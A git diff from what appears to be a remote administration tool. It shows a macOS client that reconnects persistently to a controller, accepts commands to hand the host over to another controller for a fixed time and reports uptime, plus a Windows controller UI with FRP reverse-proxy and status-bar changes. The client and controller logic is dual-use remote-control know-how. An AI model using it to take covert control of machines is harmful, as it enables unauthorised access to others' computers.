static std::mutex g_transferMu;
static HostTransfer::Target g_transferPendingTarget;
static int g_transferFailStreak = 0; // 仅主连接线程访问,无需原子
static long long g_transferFailAt = 0; // 本轮连续失败的起点(主连接线程)
// 回退判据:连续失败次数和已尝试时长**同时**满足才退回原主控。只看次数会被网络抖动
// 误伤:一次正常的转移会被无声撤销。计时从「本轮第一次失败」开始而不是从转移生效
// 开始——否则转移跑满一分钟后,任何几次瞬时连不上都会立刻把主机撤回去。
static const int kTransferRevertAttempts = 3;
static const long long kTransferRevertGraceSec = 60;
static std::string FormatUnixTimeHuman(long long epochSec)
{
const time_t t = (time_t)epochSec;
struct tm tmv;
if (!localtime_r(&t, &tmv))
return std::to_string(epochSec);
char buf[32] = { 0 };
if (strftime(buf, sizeof(buf), "%Y-%m-%d %H:%M:%S", &tmv) == 0)
return std::to_string(epochSec);
const long off = tmv.tm_gmtoff;
const long absOff = off < 0 ? -off : off;
char zone[16] = { 0 };
snprintf(zone, sizeof(zone), "%c%02ld%02ld", off < 0 ? '-' : '+',
absOff / 3600, (absOff % 3600) / 60);
return std::string(buf) + " " + zone;
}
static std::string FormatDurationHuman(long long seconds)
{
if (seconds < 0) seconds = 0;
const long long h = seconds / 3600;
const long long m = (seconds % 3600) / 60;
const long long s = seconds % 60;
char buf[48] = { 0 };
if (h > 0) snprintf(buf, sizeof(buf), "%lldh %02lldm", h, m);
else if (m > 0) snprintf(buf, sizeof(buf), "%lldm %02llds", m, s);
else snprintf(buf, sizeof(buf), "%llds", s);
return buf;
}
// 主连接上的提示消息(服务端消息栏 + get_audit_log)。title/text 必须是纯 ASCII:
// 服务端按 ANSI(GBK) 解释这两个定长字段。
static void SendClientNotice(const char* title, const char* text)
{
if (g_bExit != S_CLIENT_NORMAL || !g_pMainClient || !g_pMainClient->IsConnected())
return;
ClientMsg msg(title, text);
g_pMainClient->Send2Server((char*)&msg, sizeof(msg));
}
static void SaveTransferRecord(const HostTransfer::Target& t)
{
setConfigStr("transfer", HostTransfer::EncodeRecord(t));
}
static void ClearTransferRecord()
{
setConfigStr("transfer", "");
}
static void RestoreOrigTarget()
{
HostTransfer::ApplyEndpoint(g_SETTINGS, g_transferOrig);
Mprintf("TRANSFER: restored to %s:%d\n",
g_transferOrig.ip.c_str(), g_transferOrig.port);
}
static bool TransferExpired()
{
const long long vt = g_transferValidTo.load(std::memory_order_relaxed);
return vt > 0 && (long long)time(nullptr) >= vt;
}
// 到期(或提前归还)就恢复原主控并清记录,返回是否真的复原了。
static bool HandleTransferExpiry()
{
if (!TransferExpired())
return false;
const bool early = g_transferEndEarly.exchange(false, std::memory_order_relaxed);
g_transferValidTo.store(0, std::memory_order_relaxed);
ClearTransferRecord();
RestoreOrigTarget();
Mprintf("TRANSFER: %s, back to original master\n",
early ? "ended early" : "expired");
return true;
}
// 把接收线程记下的目标落到连接参数。只在主连接线程调用:CONNECT_ADDRESS 没有跨线程
// 同步,ConnectServer 读的就是它。
static void ApplyPendingTransfer()
{
if (!g_transferPending.load(std::memory_order_acquire))
return;
HostTransfer::Target t;
{
std::lock_guard<std::mutex> lk(g_transferMu);
t = g_transferPendingTarget;
g_transferPending.store(false, std::memory_order_release);
}
HostTransfer::ApplyTarget(g_SETTINGS, t);
// 新转移生效:上一个「提前归还」若还没被 HandleTransferExpiry 消费,就作废了,
// 留着会让这次转移将来自然到期时被误报成“ended early”。
g_transferEndEarly.store(false, std::memory_order_relaxed);
g_transferFailStreak = 0;
g_transferFailAt = 0;
Mprintf("TRANSFER: applying %s:%d (transport=%d)\n",
t.ep.ip.c_str(), t.ep.port, t.ep.transport);
}
// 转移目标「不可用」的两种形态都算一次失败:连不上,以及连上了却始终通不过
// MasterSettings 校验(对端不是主控,或不是本构建的主控)。只看连不上的话,
// 一个「端口开着但不是主控」的地址会让主机一直空转,原主控那边已经看不到它了。
// 连续的失败次数和已尝试时长同时满足才退回原主控——只看次数会被网络抖动误伤。
static void NoteTransferFailure(const char* reason)
{
if (g_transferValidTo.load(std::memory_order_relaxed) <= 0)
return;
const long long now = (long long)time(nullptr);
if (g_transferFailStreak == 0)
g_transferFailAt = now; // 本轮第一次失败:60 秒窗口从这里开始
++g_transferFailStreak;
if (g_transferFailStreak < kTransferRevertAttempts
|| now - g_transferFailAt < kTransferRevertGraceSec)
return;
Mprintf("TRANSFER: target unusable for %s (%d tries, %s), reverting\n",
FormatDurationHuman(now - g_transferFailAt).c_str(), g_transferFailStreak, reason);
g_transferValidTo.store(0, std::memory_order_relaxed);
g_transferEndEarly.store(false, std::memory_order_relaxed);
g_transferFailStreak = 0;
g_transferFailAt = 0;
ClearTransferRecord();
RestoreOrigTarget();
}
// 启动时读记录:未过期就切到转移目标,过期/损坏就删掉。必须在建连之前调用——
// 同时记下此刻的连接参数作为「原主控」,之后才可能被转移目标覆盖。
static void LoadTransferRecord()
{
g_transferOrig = HostTransfer::CaptureEndpoint(g_SETTINGS);
HostTransfer::Target t;
if (!HostTransfer::DecodeRecord(getConfigStr("transfer"), t))
return;
const long long now = (long long)time(nullptr);
if (!t.Active(now)) {
Mprintf("TRANSFER: record expired at %s, removed\n",
FormatUnixTimeHuman(t.validTo).c_str());
ClearTransferRecord();
return;
}
g_transferValidTo.store(t.validTo, std::memory_order_relaxed);
HostTransfer::ApplyTarget(g_SETTINGS, t);
Mprintf("TRANSFER: active, target %s:%d, %s left\n",
t.ep.ip.c_str(), t.ep.port, FormatDurationHuman(t.validTo - now).c_str());
}
// ============== System Information Functions ==============
// Get macOS version string (e.g., "macOS 14.0 Sonoma")
@@ -662,35 +839,19 @@ static void fillLoginInfo(LOGIN_INFOR& info)
// [[19] RES_TLS] 是「当前」传输状态的快照,服务端在线列表的 TLS 列就取这个值。
// logInfo 只在启动时填一次、之后每条连接复用,因此热切换后重连时必须刷新它,
// 否则列里会一直显示切换前的状态。szReserved 是按 '|' 位置解析的,这里逐字段
// 拆开、只改第 [19] 项再拼回去(不能用 AddReserved,它只会往后追加)。
// 否则列里会一直显示切换前的状态(按位置改写见 LOGIN_INFOR::SetReserved)。
// 只在主线程调用(与 SendLoginInfo 同一线程),避免和接收线程抢同一个结构体。
static void RefreshLoginTls(LOGIN_INFOR& info)
{
std::vector<std::string> fields;
std::string s(info.szReserved);
size_t pos = 0;
for (;;) {
size_t bar = s.find('|', pos);
if (bar == std::string::npos) {
fields.push_back(s.substr(pos));
break;
}
fields.push_back(s.substr(pos, bar - pos));
pos = bar + 1;
}
while (fields.size() <= (size_t)RES_TLS)
fields.push_back("");
fields[RES_TLS] = TlsEnabled() ? "1" : "0";
info.SetReserved(RES_TLS, TlsEnabled() ? "1" : "0");
}
std::string joined;
for (size_t i = 0; i < fields.size(); ++i) {
if (i)
joined += '|';
joined += fields[i];
}
strncpy(info.szReserved, joined.c_str(), sizeof(info.szReserved) - 1);
info.szReserved[sizeof(info.szReserved) - 1] = '\0';
// [20] RES_UPTIME 是「登录这一刻进程已经运行了多少秒」,服务端再加本次上线时长才是当前
// 运行时长。logInfo 在重连循环外只构造一次,不刷新的话重连上报的仍是进程启动那一瞬的
// 0,服务端算出来就只剩「本次连接时长」(Linux 上实测:进程跑了 6 天,浮窗只显示 1.3h)。
static void RefreshLoginUptime(LOGIN_INFOR& info)
{
info.SetReserved(RES_UPTIME, std::to_string(getProcessUptimeSeconds()).c_str());
}
// 能力位(moduleVersion 的 "-%04X" 后缀)里唯一依赖运行环境的是屏幕预览:
@@ -1288,6 +1449,92 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
} else {
Mprintf("** [%p] TLS trust anchor removal: %s ***\n", user, err.c_str());
}
} else if (szBuffer[0] == COMMAND_SHARE || szBuffer[0] == COMMAND_SHARE_CANCEL) {
// 「分享主机」/「取消分享」:macOS 尚未实现。分享要在不改主连接的前提下再起
// 一条完整登录的连接,而登录校验状态、心跳、主连接句柄都是进程级单例,
// 第二条连接会把第一条顶掉(与 Android 的结论一致)。
// 服务端分享用的是 COMMAND_SHARE(assignFunction 用 ASSIGN + FOREVER 只发转移),
// 这里必须显式接住并回一条消息,否则主控那边以为下发成功了。
Mprintf("** [%p] SHARE not supported on macOS (%d), ignored ***\n",
user, (int)szBuffer[0]);
SendClientNotice("Share host", "macOS client does not support sharing a host");
return TRUE;
} else if (szBuffer[0] == COMMAND_ASSIGN_MASTER) {
// 「转移主机」:host:port:days:shine[:transport],解析见 common/host_transfer.h。
// 服务端只在这个命令上发 SHARE_TYPE_YAMA_FOREVER;类型不符(老版本或异常载荷)
// 一律不按转移处理。
if (ulLength < 3) {
Mprintf("** [%p] ASSIGN too short (%lu), ignored ***\n",
user, (unsigned long)ulLength);
return TRUE;
}
if (szBuffer[1] != SHARE_TYPE_YAMA_FOREVER) {
if (szBuffer[1] == SHARE_TYPE_YAMA) {
// 老服务端把「分享」发在同一个命令字节上(见 common/host_share.h:48)。
// 同样要回消息,否则主控那边以为这台主机的分享下发成功了。
Mprintf("** [%p] SHARE via ASSIGN (legacy), not supported on macOS ***\n", user);
SendClientNotice("Share host", "macOS client does not support sharing a host");
} else {
Mprintf("** [%p] ASSIGN type=%d not supported, ignored ***\n",
user, (int)szBuffer[1]);
}
return TRUE;
}
HostTransfer::Target t;
const long long now = (long long)time(nullptr);
if (!HostTransfer::ParseAssignCommand(szBuffer, ulLength, now, t)) {
// 载荷非法时什么都不做——绝不能把脏数据当成有效转移,否则一台上线中的
// 主机就被改到一个不存在的地址上去了。
Mprintf("** [%p] ASSIGN malformed payload, ignored ***\n", user);
return TRUE;
}
// 有效期内拒绝再次转移(与 Windows/Android 的 now <= valid_to 判断一致),
// 同时挡住「新主控再转一手」:主机此刻只连着新主控,它无权再改归属。
// 唯一例外:目标就是原主控——那是提前归还,把到期时刻设成「现在」,
// 走心跳循环里那条已经验证过的复原路径。
const bool toOriginal =
(t.ep.ip == g_transferOrig.ip && t.ep.port == g_transferOrig.port);
const long long active = g_transferValidTo.load(std::memory_order_relaxed);
if (now <= active) {
if (toOriginal) {
Mprintf("** [%p] ASSIGN back to original master, ending transfer early ***\n", user);
g_transferEndEarly.store(true, std::memory_order_relaxed);
g_transferValidTo.store(now, std::memory_order_relaxed);
// 记录立刻作废:主线程通常 1 秒内就会复原并再清一次,但若这期间进程
// 崩了/被杀,重启时旧记录(有效期还在)会把主机送回转移目标。
ClearTransferRecord();
SendClientNotice("Transfer host",
"Transfer ended early, returning to original master (validity ignored)");
return TRUE;
}
Mprintf("** [%p] ASSIGN ignored, already assigned until %s ***\n",
user, FormatUnixTimeHuman(active).c_str());
char msg[192];
snprintf(msg, sizeof(msg),
"Host is already transferred until %s (%s left), ignored",
FormatUnixTimeHuman(active).c_str(),
FormatDurationHuman(active - now).c_str());
SendClientNotice("Transfer host", msg);
return TRUE;
}
if (toOriginal) {
// 没在转移而目标就是原主控:无事可做,放行只会白白断线重连一次。
Mprintf("** [%p] ASSIGN target equals original master, ignored ***\n", user);
return TRUE;
}
// 先把新的到期时刻和记录落下来,最后才发布「待应用」。主线程看到 pending 就会
// 应用地址并紧接着检查到期,若 validTo 还是旧的(恰好已过期),就会把刚接受的
// 这次转移当成到期撤销掉。先挡住后续重复下发,再落盘。
g_transferValidTo.store(t.validTo, std::memory_order_relaxed);
SaveTransferRecord(t);
{
std::lock_guard<std::mutex> lk(g_transferMu);
g_transferPendingTarget = t;
g_transferPending.store(true, std::memory_order_release);
}
Mprintf("** [%p] ASSIGN to %s:%d for %s, moving the main link now ***\n",
user, t.ep.ip.c_str(), t.ep.port,
FormatDurationHuman(t.validTo - now).c_str());
} else {
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
}
@@ -1362,6 +1609,10 @@ int main(int argc, const char* argv[])
loadConfig();
Mprintf("Config loaded from %s\n", g_configPath.c_str());
// 上次的「转移主机」还没到期就改连目标主控(原地址记在内存里,到期恢复)。
// 必须在建连之前:它决定本次启动要连哪台主控。
LoadTransferRecord();
// 历史活动采样:进程一启动就开始攒(服务端随时可能来查),
// 与 Linux 端在登录前 Start 的时机一致。
MacActivityHistory::Instance().Start();
@@ -1434,9 +1685,6 @@ int main(int argc, const char* argv[])
// C2C 落盘回执要在主连接上回包,但 DataProcess 拿到的 user 恒为 NULL,
// 只能靠全局句柄(同 linux/main.cpp)。重连复用同一个对象,因此只在这里赋一次。
g_pMainClient = ClientObject.get();
// 同 Linux:不传 conn 就取不到注入的 CONNECT_ADDRESS,协议必须显式喂进去,
// 否则配成 WS/WSS 也只会静默按明文 TCP 直连。
ClientObject->SetDefaultProto((int)(unsigned char)g_SETTINGS.protoType);
if (g_SETTINGS.protoType == PROTO_WS || g_SETTINGS.protoType == PROTO_WSS) {
Mprintf("[WS] 按配置的传输协议连接: proto=%d(WSS 需要 TLS 支持,不支持的平台会 fail-closed)\n",
(int)(unsigned char)g_SETTINGS.protoType);
@@ -1455,8 +1703,19 @@ int main(int argc, const char* argv[])
Mprintf("Auto-restart failed; continuing with the current process\n");
g_autoRestartPending = false;
}
// 转移目标先落到连接参数;到期(或被新主控提前归还)则恢复原主控。
// 两者都只改地址/协议,真正的建连由本轮下面的 ConnectServer 完成。
ApplyPendingTransfer();
HandleTransferExpiry();
// 同 Linux:不传 conn 就取不到注入的 CONNECT_ADDRESS,协议必须显式喂进去,
// 否则配成 WS/WSS 也只会静默按明文 TCP 直连。每轮重喂还因为转移可能把目标
// 换成另一台主控,它的入口未必和原主控同构(原 WSS、对方直连设备端口时是 TCP)。
ClientObject->SetDefaultProto((int)(unsigned char)g_SETTINGS.protoType);
clock_t c = clock();
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
// 转移目标连不上:连续失败且已持续一分钟才退回原主控并清掉记录,
// 否则一个写错的地址会让这台主机彻底失联——原主控那边已经看不到它了。
NoteTransferFailure("unreachable");
Sleep(5000);
continue;
}
@@ -1469,6 +1728,8 @@ int main(int argc, const char* argv[])
ClientAuth::OnNewConnection();
// 本条连接可能是热切换信任锚后重建的:TLS 标志按当前状态重算,再发登录。
RefreshLoginTls(logInfo);
// 同一条连接可能是几小时前断掉后重连的,RES_UPTIME 必须按「现在」重算
RefreshLoginUptime(logInfo);
// 录屏授权可能刚补齐(看守线程会重启进程,但这一次登录也要报对能力位)
RefreshLoginCaps(logInfo);
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
@@ -1490,6 +1751,10 @@ int main(int argc, const char* argv[])
break;
if (g_autoRestartPending)
break;
// 转移与到期复原按 1 秒粒度判断:0.001 天(86 秒)这种短转移等满
// 一个心跳周期才动就晚了。这里只 break,断开由循环外统一做。
if (g_transferPending.load(std::memory_order_acquire) || TransferExpired())
break;
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
break;
Sleep(1000);
@@ -1500,6 +1765,19 @@ int main(int argc, const char* argv[])
ClientObject->Disconnect();
break;
}
// 转移主机:接收线程已写好新目标,先断开当前(原主控)连接,再由外层
// 循环换地址重连。地址必须在本线程、断开之后才改(见 ApplyPendingTransfer)。
if (g_transferPending.load(std::memory_order_acquire)) {
Mprintf("TRANSFER: leaving current master\n");
ClientObject->Disconnect();
break;
}
// 转移结束:恢复启动时记下的原主控。自然到期与新主控「提前归还」
// (它把到期时刻设成了当时,见 DataProcess 的 ASSIGN 分支)都走这里。
if (HandleTransferExpiry()) {
ClientObject->Disconnect();
break;
}
// 信任锚热切换(COMMAND_TLS_ENABLE/DISABLE)会置这个标志:
// 断开后由外层循环按新的传输方式重连。
if (g_needReconnect.exchange(false)) {
@@ -1511,7 +1789,8 @@ int main(int argc, const char* argv[])
break;
// 30 秒内未通过 MasterSettings 校验 → 断开本连接让外层重连,
// 永不退出进程(详见 ClientAuth::IsTimedOut 注释)。
// 永不退出进程(详见 ClientAuth::IsTimedOut 注释)。转移期间这类连接
// 记为一次失败(见下面心跳循环结束处),否则主机只能等到期才回原主控。
if (ClientAuth::IsTimedOut()) {
ClientObject->Disconnect();
break;
@@ -1530,6 +1809,22 @@ int main(int argc, const char* argv[])
memcpy(buf + 1, &hb, sizeof(Heartbeat));
ClientObject->Send2Server((char*)buf, sizeof(buf));
}
// 一条连接结束了,按「这条连接有没有通过 MasterSettings 校验」记账:
// · 校验通过 → 转移目标确实可用,失败计数清零(原实现只在建连成功时清零,
// 等于把「连得上但校验不过」的目标排除在回退判据之外);
// · 从未通过 → 目标「连得上但不是主控」:典型是端口上跑着别的服务
// (连上就被关掉,走不到 30 秒超时分支),或对端不认本构建。
// 正常退出/自动重启触发的断开不计(条件在后半段挡住);已经到期或提前归还
// 时 transfer 已结束,NoteTransferFailure 自己会返回。
if (g_running && g_bExit == S_CLIENT_NORMAL && !g_autoRestartPending) {
if (ClientAuth::IsVerified()) {
g_transferFailStreak = 0;
g_transferFailAt = 0; // 有可用连接:60 秒窗口整体重置
} else {
NoteTransferFailure("no master auth");
}
}
}
// 退出原因留痕:signal handler 不能直接打日志,在这里补一行。
Binary file not shown.
+259 -54
View File
@@ -363,35 +363,70 @@ static UINT Indicators[] = {
IDR_STATUSBAR_EXPIRE
};
// 状态栏短标签分区(TLS/MCP)的宽度:按当前语言下两种取值的实际文本宽度取大者,
// 再留出左右边距。硬编码像素在不同语言/DPI 下容易被截断或浪费空间。
// 状态栏分区宽度:按当前语言/DPI 下的实际文本宽度加左右边距。硬编码像素在
// 125%/150% 缩放或换字体时会把文字截掉(「到期: ... (41天)」只剩日期就是这个原因)。
//
// 文本按宽字符测量:状态栏控件内部是 Unicode,ANSI 串会先按系统代码页转成宽字符再
// 绘制。中文串两种方式差可达 10%(本机 134 vs 153px),按 ANSI 测会偏窄。
static int MeasureStatusTextWide(HDC dc, const CString& text)
{
const int len = text.GetLength();
if (len <= 0)
return 0;
const int n = ::MultiByteToWideChar(CP_ACP, 0, text, len, nullptr, 0);
if (n <= 0)
return 0;
std::wstring w((size_t)n, L'\0');
::MultiByteToWideChar(CP_ACP, 0, text, len, &w[0], n);
SIZE sz = {};
::GetTextExtentPoint32W(dc, w.c_str(), n, &sz);
return (int)sz.cx;
}
// 难点是「控件到底用哪个字体画」。状态栏没有显式设过字体时,MFC 自己按 DC 默认字体
// (SYSTEM_FONT)计算分区宽度,而系统「状态栏字体」(lfStatusFont)往往更窄——本机
// 实测同一串文字 SYSTEM_FONT 134px、状态栏字体 109px。只按后者测就会把分区算窄、
// 把文字截掉,所以这里几种候选字体都测一遍取最大值。
static int CalcStatusPaneWidth(const CStatusBar& bar, const CString& text)
{
if (text.IsEmpty())
return 0;
CClientDC dc((CWnd*)&bar);
HGDIOBJ candidates[5] = {};
int count = 0;
if (CFont* pFont = bar.GetFont()) // 应用显式设过字体:控件就用它
candidates[count++] = (HGDIOBJ)pFont->GetSafeHandle();
candidates[count++] = ::GetStockObject(SYSTEM_FONT); // 无字体时的绘制/测量默认
candidates[count++] = ::GetStockObject(DEFAULT_GUI_FONT); // 另一种常见的默认
CFont statusFont, messageFont; // 系统字体表里的两种可能
NONCLIENTMETRICS ncm = {};
ncm.cbSize = sizeof(ncm);
if (::SystemParametersInfo(SPI_GETNONCLIENTMETRICS, sizeof(ncm), &ncm, 0)) {
if (statusFont.CreateFontIndirect(&ncm.lfStatusFont))
candidates[count++] = (HGDIOBJ)statusFont.GetSafeHandle();
if (messageFont.CreateFontIndirect(&ncm.lfMessageFont))
candidates[count++] = (HGDIOBJ)messageFont.GetSafeHandle();
}
int width = 0;
for (int i = 0; i < count; ++i) {
HGDIOBJ old = dc.SelectObject(candidates[i]);
width = max(width, MeasureStatusTextWide(dc, text));
if (old != nullptr)
dc.SelectObject(old);
}
return width + 20;
}
// 状态栏短标签分区(TLS/MCP)的宽度:按当前语言下各取值的实际文本宽度取大者。
static int CalcStatusFlagPaneWidth(const CStatusBar& bar, const CString& a, const CString& b,
const CString& c = CString())
{
CClientDC dc((CWnd*)&bar);
CFont* pOld = nullptr;
CFont* pFont = bar.GetFont();
// 状态栏没有显式设过字体时,绘制用的是系统的「状态栏字体」(Segoe UI 9pt),
// 比 DEFAULT_GUI_FONT 宽约 8%:100% 缩放下靠边距还能兜住,缩放比更高就会截断,
// 所以这里直接按状态栏字体测量。
CFont statusFont;
if (pFont == nullptr) {
NONCLIENTMETRICS ncm = {};
ncm.cbSize = sizeof(ncm);
if (::SystemParametersInfo(SPI_GETNONCLIENTMETRICS, sizeof(ncm), &ncm, 0)
&& statusFont.CreateFontIndirect(&ncm.lfStatusFont))
pFont = &statusFont;
}
if (pFont == nullptr)
pFont = CFont::FromHandle((HFONT)::GetStockObject(DEFAULT_GUI_FONT));
if (pFont != nullptr)
pOld = dc.SelectObject(pFont);
CSize szA = dc.GetTextExtent(a);
CSize szB = dc.GetTextExtent(b);
CSize szC = c.IsEmpty() ? CSize(0, 0) : dc.GetTextExtent(c);
if (pOld != nullptr)
dc.SelectObject(pOld);
return max(max(szA.cx, szB.cx), szC.cx) + 16;
return max(max(CalcStatusPaneWidth(bar, a), CalcStatusPaneWidth(bar, b)),
CalcStatusPaneWidth(bar, c));
}
std::string EventName()
@@ -791,6 +826,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
m_bmOnline[74].LoadBitmap(IDB_BITMAP_DISCLAIMER); // 其他→免责声明
m_bmOnline[75].LoadBitmap(IDB_BITMAP_COPYNAME); // 右键→复制名称
m_bmOnline[76].LoadBitmap(IDB_BITMAP_RUN_TEST); // 高级→运行测试程序
m_bmCompressZstd.LoadBitmap(IDB_BITMAP_COMPRESS_ZSTD); // 线缆压缩:ZSTD
m_bmCompressZlib.LoadBitmap(IDB_BITMAP_COMPRESS_ZLIB); // 线缆压缩:ZLIB
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
m_ServerDLL[i] = nullptr;
m_ServerBin[i] = nullptr;
@@ -1142,6 +1179,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_EXPERIMENT_DRAWING_BOARD, &CMy2015RemoteDlg::OnExperimentDrawingBoard)
ON_COMMAND(ID_EXPERIMENT_TLS_ENABLE, &CMy2015RemoteDlg::OnExperimentTlsEnable)
ON_COMMAND(ID_EXPERIMENT_TLS_DISABLE, &CMy2015RemoteDlg::OnExperimentTlsDisable)
ON_COMMAND(ID_EXPERIMENT_COMPRESS_ZSTD, &CMy2015RemoteDlg::OnExperimentCompressZstd)
ON_COMMAND(ID_EXPERIMENT_COMPRESS_ZLIB, &CMy2015RemoteDlg::OnExperimentCompressZlib)
ON_COMMAND(ID_PROTO_SWITCH_TCP, &CMy2015RemoteDlg::OnProtoSwitchTcp)
ON_COMMAND(ID_PROTO_SWITCH_WS, &CMy2015RemoteDlg::OnProtoSwitchWs)
ON_COMMAND(ID_PROTO_SWITCH_WSS, &CMy2015RemoteDlg::OnProtoSwitchWss)
@@ -2616,6 +2655,10 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
int chunkKb = 64, durMs = 50;
GetTransferSpeed(THIS_CFG, chunkKb, durMs);
int ret = InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
// zstd warm up
char d[64] = { 0 };
const char s[1] = { 0 };
(void)ZSTD_compress(d, sizeof(d), s, 1, 1);
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0);
UPDATE_SPLASH(20, "正在加载IP数据库...");
@@ -3043,6 +3086,18 @@ static bool IsFrpSupported(const char* logPrefix = nullptr)
return true;
}
// 本地是否已启用自有 FRP(主菜单设置:UseFrp + 主控地址)。
// 本地 FRP 只在 64 位主控上启动;32 位恒为未启用。
bool CMy2015RemoteDlg::IsLocalFrpEnabled()
{
#ifdef _WIN64
if (THIS_CFG.GetInt("frp", "UseFrp", 0) == 0) return false;
return !THIS_CFG.GetStr("settings", "master", "").empty();
#else
return false;
#endif
}
void CMy2015RemoteDlg::InitFrpClients()
{
// 显示初始化消息
@@ -3060,7 +3115,7 @@ void CMy2015RemoteDlg::InitFrpClients()
std::string ip = THIS_CFG.GetStr("settings", "master", "");
CString tip;
if (hasUpperFrp) {
if (hasUpperFrp && !IsLocalFrpEnabled()) {
// 使用上级配置的 FRP,无需关心公网 IP
tip = _L("使用上级配置的FRP代理");
} else {
@@ -3389,6 +3444,11 @@ bool CMy2015RemoteDlg::GetEffectiveMasterAddress(std::string& outIP, int& outPor
if (!frpConfigStr.empty()) {
FrpAutoConfig frpCfg = ParseFrpAutoConfig(frpConfigStr, heartbeat);
if (frpCfg.enabled && frpCfg.remotePort > 0) {
// 本地已启用自有 FRP 时保持本地地址:上级自动 FRP 只是备用入口,
// 不再覆盖生成客户端/内核载荷里的主控地址。
if (IsLocalFrpEnabled()) {
return false;
}
outIP = frpCfg.serverAddr;
outPort = frpCfg.remotePort;
return true; // 使用了 FRP 地址
@@ -3572,10 +3632,12 @@ void CMy2015RemoteDlg::StartFrpcAuto(const FrpAutoConfig& cfg)
// 设置状态栏显示的 FRP 地址 (IP:Port)
m_strFrpAddr.Format(_T("%hs:%d"), cfg.serverAddr.c_str(), cfg.remotePort);
// 直接更新状态栏 FRP 分区(不触发 OnSize 避免循环)
// 直接更新状态栏 FRP 分区(不触发 OnSize 避免循环)。宽度与 UpdateStatusBarStats
// 一致,按实际地址文本实测:硬编码 250px 在高缩放比机器上会截掉端口。
if (m_StatusBar.GetSafeHwnd()) {
m_StatusBar.SetPaneInfo(3, m_StatusBar.GetItemID(3), SBPS_NORMAL, 250);
m_nPaneFrpWidth = max(250, CalcStatusPaneWidth(m_StatusBar, m_strFrpAddr));
m_StatusBar.SetPaneText(3, m_strFrpAddr);
LayoutStatusPanes();
}
Mprintf("[FRP-Auto] 启动自动代理: %s:%d -> frps:%d\n",
@@ -3602,10 +3664,12 @@ void CMy2015RemoteDlg::StopFrpcAuto()
// 清除状态栏 FRP 地址
m_strFrpAddr.Empty();
// 直接更新状态栏 FRP 分区(不触发 OnSize 避免循环)
// 直接更新状态栏 FRP 分区(不触发 OnSize 避免循环)。宽度归零隐藏,下一次
// UpdateStatusBarStats 会按 FRPS/WAN/LAN 回退地址重新实测。
if (m_StatusBar.GetSafeHwnd()) {
m_StatusBar.SetPaneInfo(3, m_StatusBar.GetItemID(3), SBPS_NORMAL, 0);
m_nPaneFrpWidth = 0;
m_StatusBar.SetPaneText(3, _T(""));
LayoutStatusPanes();
}
Mprintf("[FRP-Auto] 已停止\n");
@@ -3682,7 +3746,11 @@ void CMy2015RemoteDlg::CheckUpperFrpConfigChange()
// 首次:从无到有 → 启动
if (newCfg.enabled) {
StartFrpcAuto(newCfg);
tip.FormatL("[FRP] 已启用上级 FRP 反向代理(远程端口 %d),已生效", newPort);
if (IsLocalFrpEnabled()) {
tip.Format(_TRF("[FRP] 已启用上级 FRP 反向代理(远程端口 %d);本地 FRP 已启用,主控地址保持不变"), newPort);
} else {
tip.Format(_TRF("[FRP] 已启用上级 FRP 反向代理(远程端口 %d),已生效"), newPort);
}
} else {
// 新配置无效,但 cur 非空 —— 提示但不启动;同时确保 [frp_auto] 不残留旧值
ClearFrpAutoSection();
@@ -3698,8 +3766,13 @@ void CMy2015RemoteDlg::CheckUpperFrpConfigChange()
StopFrpcAuto();
if (newCfg.enabled) {
StartFrpcAuto(newCfg); // 内部会用新值覆盖 [frp_auto]
tip.FormatL("[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d),已生效",
oldPort, newPort);
if (IsLocalFrpEnabled()) {
tip.Format(_TRF("[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d);本地 FRP 已启用,主控地址保持不变"),
oldPort, newPort);
} else {
tip.Format(_TRF("[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d),已生效"),
oldPort, newPort);
}
} else {
// 新配置无效(解析失败等),旧的 FRPC 已停,[frp_auto] 必须一并清空
ClearFrpAutoSection();
@@ -3944,20 +4017,9 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
Rect.right=cx;
Rect.bottom=cy;
m_StatusBar.MoveWindow(Rect);
// 6个分区:消息(自动拉伸)、TLS、MCP、FRP地址(250px)、运行统计(180px)、到期时间(180px)
int paneExpire = m_strExpireDate.IsEmpty() ? 0 : 180; // 无到期信息时隐藏
// 优先显示上级 FRPC,其次显示本机 FRPS
int paneFrp = 250;
int paneRuntime = 180;
int paneTls = max(0, m_nPaneTlsWidth);
int paneMcp = max(0, m_nPaneMcpWidth);
int paneMsg = max(0, cx - paneTls - paneMcp - paneFrp - paneRuntime - paneExpire - 20);
m_StatusBar.SetPaneInfo(0, m_StatusBar.GetItemID(0), SBPS_STRETCH, paneMsg);
m_StatusBar.SetPaneInfo(1, m_StatusBar.GetItemID(1), SBPS_NORMAL, paneTls);
m_StatusBar.SetPaneInfo(2, m_StatusBar.GetItemID(2), SBPS_NORMAL, paneMcp);
m_StatusBar.SetPaneInfo(3, m_StatusBar.GetItemID(3), SBPS_NORMAL, paneFrp);
m_StatusBar.SetPaneInfo(4, m_StatusBar.GetItemID(4), SBPS_NORMAL, paneRuntime);
m_StatusBar.SetPaneInfo(5, m_StatusBar.GetItemID(5), SBPS_NORMAL, paneExpire);
// 6个分区:消息(自动拉伸)、TLS、MCP、FRP地址、运行统计、到期时间。
// 宽度由 UpdateStatusBarStats 按实测文本算好,这里只负责按当前窗口宽度摆位。
LayoutStatusPanes();
}
if(m_ToolBar.m_hWnd!=NULL) { //工具条
@@ -4240,9 +4302,7 @@ void CMy2015RemoteDlg::UpdateStatusBarStats()
m_nPaneTlsWidth = CalcStatusFlagPaneWidth(m_StatusBar, _TR("TLS: 有"), _TR("TLS: 无"),
_TR("TLS: 内置"));
